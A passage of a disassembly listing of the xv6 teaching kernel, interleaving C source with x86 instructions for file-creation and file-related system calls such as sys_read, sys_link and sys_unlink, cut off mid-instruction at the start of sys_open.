return 0; ilock(dp); 801046ee: 89 04 24 mov %eax,(%esp) 801046f1: e8 aa cf ff ff call 801016a0 <ilock> if((ip = dirlookup(dp, name, &off)) != 0){ 801046f6: 8d 45 d4 lea -0x2c(%ebp),%eax 801046f9: 89 44 24 08 mov %eax,0x8(%esp) 801046fd: 89 5c 24 04 mov %ebx,0x4(%esp) 80104701: 89 3c 24 mov %edi,(%esp) 80104704: e8 a7 d4 ff ff call 80101bb0 <dirlookup> 80104709: 85 c0 test %eax,%eax 8010470b: 89 c6 mov %eax,%esi 8010470d: 74 41 je 80104750 <create+0x90> iunlockput(dp); 8010470f: 89 3c 24 mov %edi,(%esp) 80104712: e8 e9 d1 ff ff call 80101900 <iunlockput> ilock(ip); 80104717: 89 34 24 mov %esi,(%esp) 8010471a: e8 81 cf ff ff call 801016a0 <ilock> if(type == T_FILE && ip->type == T_FILE) 8010471f: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp) 80104724: 75 12 jne 80104738 <create+0x78> 80104726: 66 83 7e 50 02 cmpw $0x2,0x50(%esi) 8010472b: 89 f0 mov %esi,%eax 8010472d: 75 09 jne 80104738 <create+0x78> panic("create: dirlink"); iunlockput(dp); return ip; } 8010472f: 83 c4 4c add $0x4c,%esp 80104732: 5b pop %ebx 80104733: 5e pop %esi 80104734: 5f pop %edi 80104735: 5d pop %ebp 80104736: c3 ret 80104737: 90 nop iunlockput(ip); 80104738: 89 34 24 mov %esi,(%esp) 8010473b: e8 c0 d1 ff ff call 80101900 <iunlockput> } 80104740: 83 c4 4c add $0x4c,%esp return 0; 80104743: 31 c0 xor %eax,%eax } 80104745: 5b pop %ebx 80104746: 5e pop %esi 80104747: 5f pop %edi 80104748: 5d pop %ebp 80104749: c3 ret 8010474a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if((ip = ialloc(dp->dev, type)) == 0) 80104750: 0f bf 45 c4 movswl -0x3c(%ebp),%eax 80104754: 89 44 24 04 mov %eax,0x4(%esp) 80104758: 8b 07 mov (%edi),%eax 8010475a: 89 04 24 mov %eax,(%esp) 8010475d: e8 ae cd ff ff call 80101510 <ialloc> 80104762: 85 c0 test %eax,%eax 80104764: 89 c6 mov %eax,%esi 80104766: 0f 84 bf 00 00 00 je 8010482b <create+0x16b> ilock(ip); 8010476c: 89 04 24 mov %eax,(%esp) 8010476f: e8 2c cf ff ff call 801016a0 <ilock> ip->major = major; 80104774: 0f b7 45 c0 movzwl -0x40(%ebp),%eax 80104778: 66 89 46 52 mov %ax,0x52(%esi) ip->minor = minor; 8010477c: 0f b7 45 bc movzwl -0x44(%ebp),%eax 80104780: 66 89 46 54 mov %ax,0x54(%esi) ip->nlink = 1; 80104784: b8 01 00 00 00 mov $0x1,%eax 80104789: 66 89 46 56 mov %ax,0x56(%esi) iupdate(ip); 8010478d: 89 34 24 mov %esi,(%esp) 80104790: e8 4b ce ff ff call 801015e0 <iupdate> if(type == T_DIR){ // Create . and .. entries. 80104795: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp) 8010479a: 74 34 je 801047d0 <create+0x110> if(dirlink(dp, name, ip->inum) < 0) 8010479c: 8b 46 04 mov 0x4(%esi),%eax 8010479f: 89 5c 24 04 mov %ebx,0x4(%esp) 801047a3: 89 3c 24 mov %edi,(%esp) 801047a6: 89 44 24 08 mov %eax,0x8(%esp) 801047aa: e8 61 d6 ff ff call 80101e10 <dirlink> 801047af: 85 c0 test %eax,%eax 801047b1: 78 6c js 8010481f <create+0x15f> iunlockput(dp); 801047b3: 89 3c 24 mov %edi,(%esp) 801047b6: e8 45 d1 ff ff call 80101900 <iunlockput> } 801047bb: 83 c4 4c add $0x4c,%esp return ip; 801047be: 89 f0 mov %esi,%eax } 801047c0: 5b pop %ebx 801047c1: 5e pop %esi 801047c2: 5f pop %edi 801047c3: 5d pop %ebp 801047c4: c3 ret 801047c5: 8d 76 00 lea 0x0(%esi),%esi return 0; 801047c8: 31 c0 xor %eax,%eax 801047ca: e9 60 ff ff ff jmp 8010472f <create+0x6f> 801047cf: 90 nop dp->nlink++; // for ".." 801047d0: 66 83 47 56 01 addw $0x1,0x56(%edi) iupdate(dp); 801047d5: 89 3c 24 mov %edi,(%esp) 801047d8: e8 03 ce ff ff call 801015e0 <iupdate> if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 801047dd: 8b 46 04 mov 0x4(%esi),%eax 801047e0: c7 44 24 04 7c 75 10 movl $0x8010757c,0x4(%esp) 801047e7: 80 801047e8: 89 34 24 mov %esi,(%esp) 801047eb: 89 44 24 08 mov %eax,0x8(%esp) 801047ef: e8 1c d6 ff ff call 80101e10 <dirlink> 801047f4: 85 c0 test %eax,%eax 801047f6: 78 1b js 80104813 <create+0x153> 801047f8: 8b 47 04 mov 0x4(%edi),%eax 801047fb: c7 44 24 04 7b 75 10 movl $0x8010757b,0x4(%esp) 80104802: 80 80104803: 89 34 24 mov %esi,(%esp) 80104806: 89 44 24 08 mov %eax,0x8(%esp) 8010480a: e8 01 d6 ff ff call 80101e10 <dirlink> 8010480f: 85 c0 test %eax,%eax 80104811: 79 89 jns 8010479c <create+0xdc> panic("create dots"); 80104813: c7 04 24 6f 75 10 80 movl $0x8010756f,(%esp) 8010481a: e8 41 bb ff ff call 80100360 <panic> panic("create: dirlink"); 8010481f: c7 04 24 7e 75 10 80 movl $0x8010757e,(%esp) 80104826: e8 35 bb ff ff call 80100360 <panic> panic("create: ialloc"); 8010482b: c7 04 24 60 75 10 80 movl $0x80107560,(%esp) 80104832: e8 29 bb ff ff call 80100360 <panic> 80104837: 89 f6 mov %esi,%esi 80104839: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104840 <argfd.constprop.0>: argfd(int n, int *pfd, struct file **pf) 80104840: 55 push %ebp 80104841: 89 e5 mov %esp,%ebp 80104843: 56 push %esi 80104844: 89 c6 mov %eax,%esi 80104846: 53 push %ebx 80104847: 89 d3 mov %edx,%ebx 80104849: 83 ec 20 sub $0x20,%esp if(argint(n, &fd) < 0) 8010484c: 8d 45 f4 lea -0xc(%ebp),%eax 8010484f: 89 44 24 04 mov %eax,0x4(%esp) 80104853: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010485a: e8 c1 fc ff ff call 80104520 <argint> 8010485f: 85 c0 test %eax,%eax 80104861: 78 2d js 80104890 <argfd.constprop.0+0x50> if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 80104863: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 80104867: 77 27 ja 80104890 <argfd.constprop.0+0x50> 80104869: e8 22 ee ff ff call 80103690 <myproc> 8010486e: 8b 55 f4 mov -0xc(%ebp),%edx 80104871: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 80104875: 85 c0 test %eax,%eax 80104877: 74 17 je 80104890 <argfd.constprop.0+0x50> if(pfd) 80104879: 85 f6 test %esi,%esi 8010487b: 74 02 je 8010487f <argfd.constprop.0+0x3f> *pfd = fd; 8010487d: 89 16 mov %edx,(%esi) if(pf) 8010487f: 85 db test %ebx,%ebx 80104881: 74 1d je 801048a0 <argfd.constprop.0+0x60> *pf = f; 80104883: 89 03 mov %eax,(%ebx) return 0; 80104885: 31 c0 xor %eax,%eax } 80104887: 83 c4 20 add $0x20,%esp 8010488a: 5b pop %ebx 8010488b: 5e pop %esi 8010488c: 5d pop %ebp 8010488d: c3 ret 8010488e: 66 90 xchg %ax,%ax 80104890: 83 c4 20 add $0x20,%esp return -1; 80104893: b8 ff ff ff ff mov $0xffffffff,%eax } 80104898: 5b pop %ebx 80104899: 5e pop %esi 8010489a: 5d pop %ebp 8010489b: c3 ret 8010489c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 801048a0: 31 c0 xor %eax,%eax 801048a2: eb e3 jmp 80104887 <argfd.constprop.0+0x47> 801048a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801048aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801048b0 <sys_dup>: { 801048b0: 55 push %ebp if(argfd(0, 0, &f) < 0) 801048b1: 31 c0 xor %eax,%eax { 801048b3: 89 e5 mov %esp,%ebp 801048b5: 53 push %ebx 801048b6: 83 ec 24 sub $0x24,%esp if(argfd(0, 0, &f) < 0) 801048b9: 8d 55 f4 lea -0xc(%ebp),%edx 801048bc: e8 7f ff ff ff call 80104840 <argfd.constprop.0> 801048c1: 85 c0 test %eax,%eax 801048c3: 78 23 js 801048e8 <sys_dup+0x38> if((fd=fdalloc(f)) < 0) 801048c5: 8b 45 f4 mov -0xc(%ebp),%eax 801048c8: e8 b3 fd ff ff call 80104680 <fdalloc> 801048cd: 85 c0 test %eax,%eax 801048cf: 89 c3 mov %eax,%ebx 801048d1: 78 15 js 801048e8 <sys_dup+0x38> filedup(f); 801048d3: 8b 45 f4 mov -0xc(%ebp),%eax 801048d6: 89 04 24 mov %eax,(%esp) 801048d9: e8 e2 c4 ff ff call 80100dc0 <filedup> return fd; 801048de: 89 d8 mov %ebx,%eax } 801048e0: 83 c4 24 add $0x24,%esp 801048e3: 5b pop %ebx 801048e4: 5d pop %ebp 801048e5: c3 ret 801048e6: 66 90 xchg %ax,%ax return -1; 801048e8: b8 ff ff ff ff mov $0xffffffff,%eax 801048ed: eb f1 jmp 801048e0 <sys_dup+0x30> 801048ef: 90 nop 801048f0 <sys_read>: { 801048f0: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801048f1: 31 c0 xor %eax,%eax { 801048f3: 89 e5 mov %esp,%ebp 801048f5: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801048f8: 8d 55 ec lea -0x14(%ebp),%edx 801048fb: e8 40 ff ff ff call 80104840 <argfd.constprop.0> 80104900: 85 c0 test %eax,%eax 80104902: 78 54 js 80104958 <sys_read+0x68> 80104904: 8d 45 f0 lea -0x10(%ebp),%eax 80104907: 89 44 24 04 mov %eax,0x4(%esp) 8010490b: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104912: e8 09 fc ff ff call 80104520 <argint> 80104917: 85 c0 test %eax,%eax 80104919: 78 3d js 80104958 <sys_read+0x68> 8010491b: 8b 45 f0 mov -0x10(%ebp),%eax 8010491e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104925: 89 44 24 08 mov %eax,0x8(%esp) 80104929: 8d 45 f4 lea -0xc(%ebp),%eax 8010492c: 89 44 24 04 mov %eax,0x4(%esp) 80104930: e8 2b fc ff ff call 80104560 <argptr> 80104935: 85 c0 test %eax,%eax 80104937: 78 1f js 80104958 <sys_read+0x68> return fileread(f, p, n); 80104939: 8b 45 f0 mov -0x10(%ebp),%eax 8010493c: 89 44 24 08 mov %eax,0x8(%esp) 80104940: 8b 45 f4 mov -0xc(%ebp),%eax 80104943: 89 44 24 04 mov %eax,0x4(%esp) 80104947: 8b 45 ec mov -0x14(%ebp),%eax 8010494a: 89 04 24 mov %eax,(%esp) 8010494d: e8 ce c5 ff ff call 80100f20 <fileread> } 80104952: c9 leave 80104953: c3 ret 80104954: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104958: b8 ff ff ff ff mov $0xffffffff,%eax } 8010495d: c9 leave 8010495e: c3 ret 8010495f: 90 nop 80104960 <sys_write>: { 80104960: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104961: 31 c0 xor %eax,%eax { 80104963: 89 e5 mov %esp,%ebp 80104965: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104968: 8d 55 ec lea -0x14(%ebp),%edx 8010496b: e8 d0 fe ff ff call 80104840 <argfd.constprop.0> 80104970: 85 c0 test %eax,%eax 80104972: 78 54 js 801049c8 <sys_write+0x68> 80104974: 8d 45 f0 lea -0x10(%ebp),%eax 80104977: 89 44 24 04 mov %eax,0x4(%esp) 8010497b: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104982: e8 99 fb ff ff call 80104520 <argint> 80104987: 85 c0 test %eax,%eax 80104989: 78 3d js 801049c8 <sys_write+0x68> 8010498b: 8b 45 f0 mov -0x10(%ebp),%eax 8010498e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104995: 89 44 24 08 mov %eax,0x8(%esp) 80104999: 8d 45 f4 lea -0xc(%ebp),%eax 8010499c: 89 44 24 04 mov %eax,0x4(%esp) 801049a0: e8 bb fb ff ff call 80104560 <argptr> 801049a5: 85 c0 test %eax,%eax 801049a7: 78 1f js 801049c8 <sys_write+0x68> return filewrite(f, p, n); 801049a9: 8b 45 f0 mov -0x10(%ebp),%eax 801049ac: 89 44 24 08 mov %eax,0x8(%esp) 801049b0: 8b 45 f4 mov -0xc(%ebp),%eax 801049b3: 89 44 24 04 mov %eax,0x4(%esp) 801049b7: 8b 45 ec mov -0x14(%ebp),%eax 801049ba: 89 04 24 mov %eax,(%esp) 801049bd: e8 fe c5 ff ff call 80100fc0 <filewrite> } 801049c2: c9 leave 801049c3: c3 ret 801049c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801049c8: b8 ff ff ff ff mov $0xffffffff,%eax } 801049cd: c9 leave 801049ce: c3 ret 801049cf: 90 nop 801049d0 <sys_close>: { 801049d0: 55 push %ebp 801049d1: 89 e5 mov %esp,%ebp 801049d3: 83 ec 28 sub $0x28,%esp if(argfd(0, &fd, &f) < 0) 801049d6: 8d 55 f4 lea -0xc(%ebp),%edx 801049d9: 8d 45 f0 lea -0x10(%ebp),%eax 801049dc: e8 5f fe ff ff call 80104840 <argfd.constprop.0> 801049e1: 85 c0 test %eax,%eax 801049e3: 78 23 js 80104a08 <sys_close+0x38> myproc()->ofile[fd] = 0; 801049e5: e8 a6 ec ff ff call 80103690 <myproc> 801049ea: 8b 55 f0 mov -0x10(%ebp),%edx 801049ed: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 801049f4: 00 fileclose(f); 801049f5: 8b 45 f4 mov -0xc(%ebp),%eax 801049f8: 89 04 24 mov %eax,(%esp) 801049fb: e8 10 c4 ff ff call 80100e10 <fileclose> return 0; 80104a00: 31 c0 xor %eax,%eax } 80104a02: c9 leave 80104a03: c3 ret 80104a04: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104a08: b8 ff ff ff ff mov $0xffffffff,%eax } 80104a0d: c9 leave 80104a0e: c3 ret 80104a0f: 90 nop 80104a10 <sys_fstat>: { 80104a10: 55 push %ebp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104a11: 31 c0 xor %eax,%eax { 80104a13: 89 e5 mov %esp,%ebp 80104a15: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104a18: 8d 55 f0 lea -0x10(%ebp),%edx 80104a1b: e8 20 fe ff ff call 80104840 <argfd.constprop.0> 80104a20: 85 c0 test %eax,%eax 80104a22: 78 34 js 80104a58 <sys_fstat+0x48> 80104a24: 8d 45 f4 lea -0xc(%ebp),%eax 80104a27: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 80104a2e: 00 80104a2f: 89 44 24 04 mov %eax,0x4(%esp) 80104a33: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104a3a: e8 21 fb ff ff call 80104560 <argptr> 80104a3f: 85 c0 test %eax,%eax 80104a41: 78 15 js 80104a58 <sys_fstat+0x48> return filestat(f, st); 80104a43: 8b 45 f4 mov -0xc(%ebp),%eax 80104a46: 89 44 24 04 mov %eax,0x4(%esp) 80104a4a: 8b 45 f0 mov -0x10(%ebp),%eax 80104a4d: 89 04 24 mov %eax,(%esp) 80104a50: e8 7b c4 ff ff call 80100ed0 <filestat> } 80104a55: c9 leave 80104a56: c3 ret 80104a57: 90 nop return -1; 80104a58: b8 ff ff ff ff mov $0xffffffff,%eax } 80104a5d: c9 leave 80104a5e: c3 ret 80104a5f: 90 nop 80104a60 <sys_link>: { 80104a60: 55 push %ebp 80104a61: 89 e5 mov %esp,%ebp 80104a63: 57 push %edi 80104a64: 56 push %esi 80104a65: 53 push %ebx 80104a66: 83 ec 3c sub $0x3c,%esp if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104a69: 8d 45 d4 lea -0x2c(%ebp),%eax 80104a6c: 89 44 24 04 mov %eax,0x4(%esp) 80104a70: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104a77: e8 34 fb ff ff call 801045b0 <argstr> 80104a7c: 85 c0 test %eax,%eax 80104a7e: 0f 88 e6 00 00 00 js 80104b6a <sys_link+0x10a> 80104a84: 8d 45 d0 lea -0x30(%ebp),%eax 80104a87: 89 44 24 04 mov %eax,0x4(%esp) 80104a8b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104a92: e8 19 fb ff ff call 801045b0 <argstr> 80104a97: 85 c0 test %eax,%eax 80104a99: 0f 88 cb 00 00 00 js 80104b6a <sys_link+0x10a> begin_op(); 80104a9f: e8 5c e0 ff ff call 80102b00 <begin_op> if((ip = namei(old)) == 0){ 80104aa4: 8b 45 d4 mov -0x2c(%ebp),%eax 80104aa7: 89 04 24 mov %eax,(%esp) 80104aaa: e8 41 d4 ff ff call 80101ef0 <namei> 80104aaf: 85 c0 test %eax,%eax 80104ab1: 89 c3 mov %eax,%ebx 80104ab3: 0f 84 ac 00 00 00 je 80104b65 <sys_link+0x105> ilock(ip); 80104ab9: 89 04 24 mov %eax,(%esp) 80104abc: e8 df cb ff ff call 801016a0 <ilock> if(ip->type == T_DIR){ 80104ac1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104ac6: 0f 84 91 00 00 00 je 80104b5d <sys_link+0xfd> ip->nlink++; 80104acc: 66 83 43 56 01 addw $0x1,0x56(%ebx) if((dp = nameiparent(new, name)) == 0) 80104ad1: 8d 7d da lea -0x26(%ebp),%edi iupdate(ip); 80104ad4: 89 1c 24 mov %ebx,(%esp) 80104ad7: e8 04 cb ff ff call 801015e0 <iupdate> iunlock(ip); 80104adc: 89 1c 24 mov %ebx,(%esp) 80104adf: e8 9c cc ff ff call 80101780 <iunlock> if((dp = nameiparent(new, name)) == 0) 80104ae4: 8b 45 d0 mov -0x30(%ebp),%eax 80104ae7: 89 7c 24 04 mov %edi,0x4(%esp) 80104aeb: 89 04 24 mov %eax,(%esp) 80104aee: e8 1d d4 ff ff call 80101f10 <nameiparent> 80104af3: 85 c0 test %eax,%eax 80104af5: 89 c6 mov %eax,%esi 80104af7: 74 4f je 80104b48 <sys_link+0xe8> ilock(dp); 80104af9: 89 04 24 mov %eax,(%esp) 80104afc: e8 9f cb ff ff call 801016a0 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80104b01: 8b 03 mov (%ebx),%eax 80104b03: 39 06 cmp %eax,(%esi) 80104b05: 75 39 jne 80104b40 <sys_link+0xe0> 80104b07: 8b 43 04 mov 0x4(%ebx),%eax 80104b0a: 89 7c 24 04 mov %edi,0x4(%esp) 80104b0e: 89 34 24 mov %esi,(%esp) 80104b11: 89 44 24 08 mov %eax,0x8(%esp) 80104b15: e8 f6 d2 ff ff call 80101e10 <dirlink> 80104b1a: 85 c0 test %eax,%eax 80104b1c: 78 22 js 80104b40 <sys_link+0xe0> iunlockput(dp); 80104b1e: 89 34 24 mov %esi,(%esp) 80104b21: e8 da cd ff ff call 80101900 <iunlockput> iput(ip); 80104b26: 89 1c 24 mov %ebx,(%esp) 80104b29: e8 92 cc ff ff call 801017c0 <iput> end_op(); 80104b2e: e8 3d e0 ff ff call 80102b70 <end_op> } 80104b33: 83 c4 3c add $0x3c,%esp return 0; 80104b36: 31 c0 xor %eax,%eax } 80104b38: 5b pop %ebx 80104b39: 5e pop %esi 80104b3a: 5f pop %edi 80104b3b: 5d pop %ebp 80104b3c: c3 ret 80104b3d: 8d 76 00 lea 0x0(%esi),%esi iunlockput(dp); 80104b40: 89 34 24 mov %esi,(%esp) 80104b43: e8 b8 cd ff ff call 80101900 <iunlockput> ilock(ip); 80104b48: 89 1c 24 mov %ebx,(%esp) 80104b4b: e8 50 cb ff ff call 801016a0 <ilock> ip->nlink--; 80104b50: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104b55: 89 1c 24 mov %ebx,(%esp) 80104b58: e8 83 ca ff ff call 801015e0 <iupdate> iunlockput(ip); 80104b5d: 89 1c 24 mov %ebx,(%esp) 80104b60: e8 9b cd ff ff call 80101900 <iunlockput> end_op(); 80104b65: e8 06 e0 ff ff call 80102b70 <end_op> } 80104b6a: 83 c4 3c add $0x3c,%esp return -1; 80104b6d: b8 ff ff ff ff mov $0xffffffff,%eax } 80104b72: 5b pop %ebx 80104b73: 5e pop %esi 80104b74: 5f pop %edi 80104b75: 5d pop %ebp 80104b76: c3 ret 80104b77: 89 f6 mov %esi,%esi 80104b79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104b80 <sys_unlink>: { 80104b80: 55 push %ebp 80104b81: 89 e5 mov %esp,%ebp 80104b83: 57 push %edi 80104b84: 56 push %esi 80104b85: 53 push %ebx 80104b86: 83 ec 5c sub $0x5c,%esp if(argstr(0, &path) < 0) 80104b89: 8d 45 c0 lea -0x40(%ebp),%eax 80104b8c: 89 44 24 04 mov %eax,0x4(%esp) 80104b90: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104b97: e8 14 fa ff ff call 801045b0 <argstr> 80104b9c: 85 c0 test %eax,%eax 80104b9e: 0f 88 76 01 00 00 js 80104d1a <sys_unlink+0x19a> begin_op(); 80104ba4: e8 57 df ff ff call 80102b00 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80104ba9: 8b 45 c0 mov -0x40(%ebp),%eax 80104bac: 8d 5d ca lea -0x36(%ebp),%ebx 80104baf: 89 5c 24 04 mov %ebx,0x4(%esp) 80104bb3: 89 04 24 mov %eax,(%esp) 80104bb6: e8 55 d3 ff ff call 80101f10 <nameiparent> 80104bbb: 85 c0 test %eax,%eax 80104bbd: 89 45 b4 mov %eax,-0x4c(%ebp) 80104bc0: 0f 84 4f 01 00 00 je 80104d15 <sys_unlink+0x195> ilock(dp); 80104bc6: 8b 75 b4 mov -0x4c(%ebp),%esi 80104bc9: 89 34 24 mov %esi,(%esp) 80104bcc: e8 cf ca ff ff call 801016a0 <ilock> if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80104bd1: c7 44 24 04 7c 75 10 movl $0x8010757c,0x4(%esp) 80104bd8: 80 80104bd9: 89 1c 24 mov %ebx,(%esp) 80104bdc: e8 9f cf ff ff call 80101b80 <namecmp> 80104be1: 85 c0 test %eax,%eax 80104be3: 0f 84 21 01 00 00 je 80104d0a <sys_unlink+0x18a> 80104be9: c7 44 24 04 7b 75 10 movl $0x8010757b,0x4(%esp) 80104bf0: 80 80104bf1: 89 1c 24 mov %ebx,(%esp) 80104bf4: e8 87 cf ff ff call 80101b80 <namecmp> 80104bf9: 85 c0 test %eax,%eax 80104bfb: 0f 84 09 01 00 00 je 80104d0a <sys_unlink+0x18a> if((ip = dirlookup(dp, name, &off)) == 0) 80104c01: 8d 45 c4 lea -0x3c(%ebp),%eax 80104c04: 89 5c 24 04 mov %ebx,0x4(%esp) 80104c08: 89 44 24 08 mov %eax,0x8(%esp) 80104c0c: 89 34 24 mov %esi,(%esp) 80104c0f: e8 9c cf ff ff call 80101bb0 <dirlookup> 80104c14: 85 c0 test %eax,%eax 80104c16: 89 c3 mov %eax,%ebx 80104c18: 0f 84 ec 00 00 00 je 80104d0a <sys_unlink+0x18a> ilock(ip); 80104c1e: 89 04 24 mov %eax,(%esp) 80104c21: e8 7a ca ff ff call 801016a0 <ilock> if(ip->nlink < 1) 80104c26: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 80104c2b: 0f 8e 24 01 00 00 jle 80104d55 <sys_unlink+0x1d5> if(ip->type == T_DIR && !isdirempty(ip)){ 80104c31: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104c36: 8d 75 d8 lea -0x28(%ebp),%esi 80104c39: 74 7d je 80104cb8 <sys_unlink+0x138> memset(&de, 0, sizeof(de)); 80104c3b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80104c42: 00 80104c43: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80104c4a: 00 80104c4b: 89 34 24 mov %esi,(%esp) 80104c4e: e8 1d f6 ff ff call 80104270 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104c53: 8b 45 c4 mov -0x3c(%ebp),%eax 80104c56: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80104c5d: 00 80104c5e: 89 74 24 04 mov %esi,0x4(%esp) 80104c62: 89 44 24 08 mov %eax,0x8(%esp) 80104c66: 8b 45 b4 mov -0x4c(%ebp),%eax 80104c69: 89 04 24 mov %eax,(%esp) 80104c6c: e8 df cd ff ff call 80101a50 <writei> 80104c71: 83 f8 10 cmp $0x10,%eax 80104c74: 0f 85 cf 00 00 00 jne 80104d49 <sys_unlink+0x1c9> if(ip->type == T_DIR){ 80104c7a: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104c7f: 0f 84 a3 00 00 00 je 80104d28 <sys_unlink+0x1a8> iunlockput(dp); 80104c85: 8b 45 b4 mov -0x4c(%ebp),%eax 80104c88: 89 04 24 mov %eax,(%esp) 80104c8b: e8 70 cc ff ff call 80101900 <iunlockput> ip->nlink--; 80104c90: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104c95: 89 1c 24 mov %ebx,(%esp) 80104c98: e8 43 c9 ff ff call 801015e0 <iupdate> iunlockput(ip); 80104c9d: 89 1c 24 mov %ebx,(%esp) 80104ca0: e8 5b cc ff ff call 80101900 <iunlockput> end_op(); 80104ca5: e8 c6 de ff ff call 80102b70 <end_op> } 80104caa: 83 c4 5c add $0x5c,%esp return 0; 80104cad: 31 c0 xor %eax,%eax } 80104caf: 5b pop %ebx 80104cb0: 5e pop %esi 80104cb1: 5f pop %edi 80104cb2: 5d pop %ebp 80104cb3: c3 ret 80104cb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80104cb8: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 80104cbc: 0f 86 79 ff ff ff jbe 80104c3b <sys_unlink+0xbb> 80104cc2: bf 20 00 00 00 mov $0x20,%edi 80104cc7: eb 15 jmp 80104cde <sys_unlink+0x15e> 80104cc9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104cd0: 8d 57 10 lea 0x10(%edi),%edx 80104cd3: 3b 53 58 cmp 0x58(%ebx),%edx 80104cd6: 0f 83 5f ff ff ff jae 80104c3b <sys_unlink+0xbb> 80104cdc: 89 d7 mov %edx,%edi if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104cde: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80104ce5: 00 80104ce6: 89 7c 24 08 mov %edi,0x8(%esp) 80104cea: 89 74 24 04 mov %esi,0x4(%esp) 80104cee: 89 1c 24 mov %ebx,(%esp) 80104cf1: e8 5a cc ff ff call 80101950 <readi> 80104cf6: 83 f8 10 cmp $0x10,%eax 80104cf9: 75 42 jne 80104d3d <sys_unlink+0x1bd> if(de.inum != 0) 80104cfb: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80104d00: 74 ce je 80104cd0 <sys_unlink+0x150> iunlockput(ip); 80104d02: 89 1c 24 mov %ebx,(%esp) 80104d05: e8 f6 cb ff ff call 80101900 <iunlockput> iunlockput(dp); 80104d0a: 8b 45 b4 mov -0x4c(%ebp),%eax 80104d0d: 89 04 24 mov %eax,(%esp) 80104d10: e8 eb cb ff ff call 80101900 <iunlockput> end_op(); 80104d15: e8 56 de ff ff call 80102b70 <end_op> } 80104d1a: 83 c4 5c add $0x5c,%esp return -1; 80104d1d: b8 ff ff ff ff mov $0xffffffff,%eax } 80104d22: 5b pop %ebx 80104d23: 5e pop %esi 80104d24: 5f pop %edi 80104d25: 5d pop %ebp 80104d26: c3 ret 80104d27: 90 nop dp->nlink--; 80104d28: 8b 45 b4 mov -0x4c(%ebp),%eax 80104d2b: 66 83 68 56 01 subw $0x1,0x56(%eax) iupdate(dp); 80104d30: 89 04 24 mov %eax,(%esp) 80104d33: e8 a8 c8 ff ff call 801015e0 <iupdate> 80104d38: e9 48 ff ff ff jmp 80104c85 <sys_unlink+0x105> panic("isdirempty: readi"); 80104d3d: c7 04 24 a0 75 10 80 movl $0x801075a0,(%esp) 80104d44: e8 17 b6 ff ff call 80100360 <panic> panic("unlink: writei"); 80104d49: c7 04 24 b2 75 10 80 movl $0x801075b2,(%esp) 80104d50: e8 0b b6 ff ff call 80100360 <panic> panic("unlink: nlink < 1"); 80104d55: c7 04 24 8e 75 10 80 movl $0x8010758e,(%esp) 80104d5c: e8 ff b5 ff ff call 80100360 <panic> 80104d61: eb 0d jmp 80104d70 <sys_open> 80104d63: 90 nop 80104d64: 90 nop 80104d65: 90 nop 80104d66: 90 nop 80104d67: 90 nop 80104d68: 90 nop 80104d69: 90 nop 80104d6a: 90 nop 80104d6b: 90 nop 80104d6c: 90 nop 80104d6d: 90 nop 80104d6e: 90 nop 80104d6f: 90 nop 80104d70 <sys_open>: int sys_open(void) { 80104d70: 55 push %ebp 80104d71: 89 e5 mov %esp,%ebp 80104d73: 57 push 